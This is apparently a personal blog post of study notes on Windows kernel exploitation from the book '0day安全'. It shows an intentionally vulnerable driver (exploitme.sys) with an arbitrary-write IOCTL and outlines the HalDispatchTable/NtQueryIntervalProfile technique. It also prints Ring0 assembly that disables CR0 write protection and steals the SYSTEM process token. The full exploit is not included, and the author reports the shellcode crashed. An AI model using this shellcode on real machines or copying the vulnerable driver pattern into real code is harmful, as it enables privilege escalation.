​《0day安全》——内核漏洞利用技术

利用实验之exploitme.sys

当然要先搞个有漏洞的驱动,像缓冲区溢出这样就最好了

修改一下之前的helloworld.c

宏增加了blob.png

派遣例程函数肯定最重要的

NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject,IN PIRP pIrp)
{ 
PIO_STACK_LOCATION pIrpStack;//当前的pIrp栈
PVOID Type3InputBuffer;//用户态输入地址
PVOID UserBuffer;//用户态输出地址 
ULONG inputBufferLength;//输入缓冲区的大小
ULONG outputBufferLength;//输出缓冲区的大小 
ULONG ioControlCode;//DeviceIoControl的控制号
PIO_STATUS_BLOCK IoStatus;//pIrp的IO状态指针
NTSTATUS ntStatus=STATUS_SUCCESS;//函数返回值 
//获取数据
pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
Type3InputBuffer = pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer;
UserBuffer = pIrp->UserBuffer;
inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength; 
outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength; 
ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
IoStatus=&pIrp->IoStatus;
IoStatus->Status = STATUS_SUCCESS;// Assume success
IoStatus->Information = 0;// Assume nothing returned
//根据 ioControlCode 完成对应的任务
switch(ioControlCode)
{
case IOCTL_EXPLOIT_ME: 
if ( inputBufferLength >= 4 && outputBufferLength >= 4 )
{
*(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer;
IoStatus->Information = sizeof(ULONG);
}
break;
}  
//返回
IoStatus->Status = ntStatus; 
IoCompleteRequest(pIrp,IO_NO_INCREMENT);
return ntStatus;
}

驱动的卸载函数也增加了一点

VOID DriverUnload( IN PDRIVER_OBJECT  driverObject )
{ 
UNICODE_STRING symLinkName; 
KdPrint(("DriverUnload: 88!\n")); 
RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
IoDeleteSymbolicLink(&symLinkName);
IoDeleteDevice( g_DeviceObject ); 
}

我们看看这里

blob.png

输入输出缓冲区都是Ring3指定的,存在任意地址写任意数据的内核漏洞

据说很多驱动最终都是归纳为上述exploitme.sys的漏洞模型

内核漏洞利用思路

首先远程和本地拒绝服务相对来说简单,不必那么过多考虑数据

远程任意代码执行和本地提升权限就复杂,

作者说远程任意代码执行很少见了,更多的是本地权限提升的内核漏洞

而且驱动编译器默认开启GS选项,直接利用缓冲区溢出困难重重

现在是想看到篡改系统内核内存数据,执行Ring0 shellcode的漏洞

那么篡改系统内核内存数据或执行Ring0 shellcode的漏洞是什么类型漏洞?

就是内存篡改漏洞

blob.png

其中任意地址写任意数据必能造成权限提升,后两种利用得当也可以,真实越来越屌了

内核漏洞利用方法

篡改内核内存数据,执行Ring0 shellcode的漏洞

第一个利用方法是不推荐的

执行Ring0 shellcode可以将内存保护去掉,才可以篡改内存

执行Ring0 shellcode:可以覆盖内核API保存的表上的地址,一旦我们调用内核API函数,就调用了我们的shellcode了,还是Ring0的哦

但覆盖的函数要选用冷门的,不然其他进程调用的时候就内存访问错误或崩溃了

那我们的exploitme.sys可以任意地址写任意数据,我们就覆盖HalDispatchTable表中的第一个函数

将输出缓冲区地址指向它即可

对exploitme.sys的漏洞利用方法概括:

首先在当前进程(exploit.exe)的0x0地址处申请内存,并存放Ring0 Shellcode代码,然后利用漏洞将HalDispatchTable中的HalQuerySystemInformation函数地址改写为0,最后再调用该函数的上层封装函数NtQueryIntervalProfile,于是实现准备好的Ring0 Shellcode就会被执行

为什么上层函数是这个呢,我们看看源码,不过我们看的是ReactOS

ReactOS是开源免费的Windows NT系列(含NT4.0/2000/XP/2003)克隆操作系统,保持了与Windows的系统级兼容性。

我们看看NtQueryIntervalProfile

blob.png

假如不知道这函数的实现是在哪,直接用notepad++搜索就行

blob.png

发现ProfileSource不为ProfileTime或者ProfileAlignmentFixup就是我们想要的

blob.png

内核漏洞利用实战与编程

之前的exploitme.sys由于ioControlCode的处理过程所使用的通信方式为METHOD_NEITHER

又没用ProbeForRead和ProbeForWrite判断输入和输出地址是否可读和是否可写,所以就是任意地址写任意数据的漏洞

那漏洞利用分为5步

1 获取HalDispatchTable表地址

它是由内核模块导出的,首先要得到内核模块的基址,再加上HalDispatchTable与内核模块的基址的偏移就行啦

2 在0x0申请一段内存并写入Ring0 Shellcode

3 利用漏洞向地址y写入0x0

4 调用NtQueryIntervalProfile函数

5 Ring0 Shellcode被执行

感觉这些都是差不多固定的代码啊,有点长,我也只是打了一点,就不粘贴上来了

大家都看书吧,多看多理解

不过我们看看最后Ring0 Shellcode

关闭内核写保护

__asm
{
cli;
mov eax, cr0;
mov g_uCr0,eax; 
and eax,0xFFFEFFFF; 
mov cr0, eax; 
}

CR0中含有控制处理器操作模式和状态的系统控制标志;

首先保存cr0,修改了cr0我们就可以为所欲为了

之后我们要恢复内核写保护

__asm
{
sti;
mov eax, g_uCr0;
mov cr0, eax; 
}

Ring0 Shellcode的编写

提权到system

原来是修改进程的token就提权了

__asm
{
mov eax,0xFFDFF124;eax = KPCR(not 3G mode) 
mov eax,[eax];获取当前线程PETHREAD
mov esi,[eax+0x220];获取当前线程所属进程的PEPROCESS
mov eax,esi;
searchXp:
mov eax,[eax+0x88];
sub eax,0x88;获取进程链表中下一个进程的PEPROCESS
mov edx,[eax+0x84];获取该进程的pid到edx
cmp edx,0x4;通过PID查找SYSTEM进程
jne searchXp;
mov eax,[eax+0xc8];获取system进程的token
mov [esi+0xc8],eax;修改当前进程的token
}

blob.png

可能代码那里错了,蓝屏

恢复内核的Hook/Inline Hook

安全软件大部分都是通过这些实现防御的

恩,懒了

添加调用们,中断门,任务门,陷阱门

添加了其中一个就可以自由出入Ring0和Ring3了

一时难以消化,以后再消化了

打赏作者
喜欢本博客,打赏让博客永久运行,多少你说了算

您的支持将鼓励我们继续创作!

[微信] 扫描二维码打赏

[支付宝] 扫描二维码打赏

发表评论

电子邮件地址不会被公开。 必填项已用*标注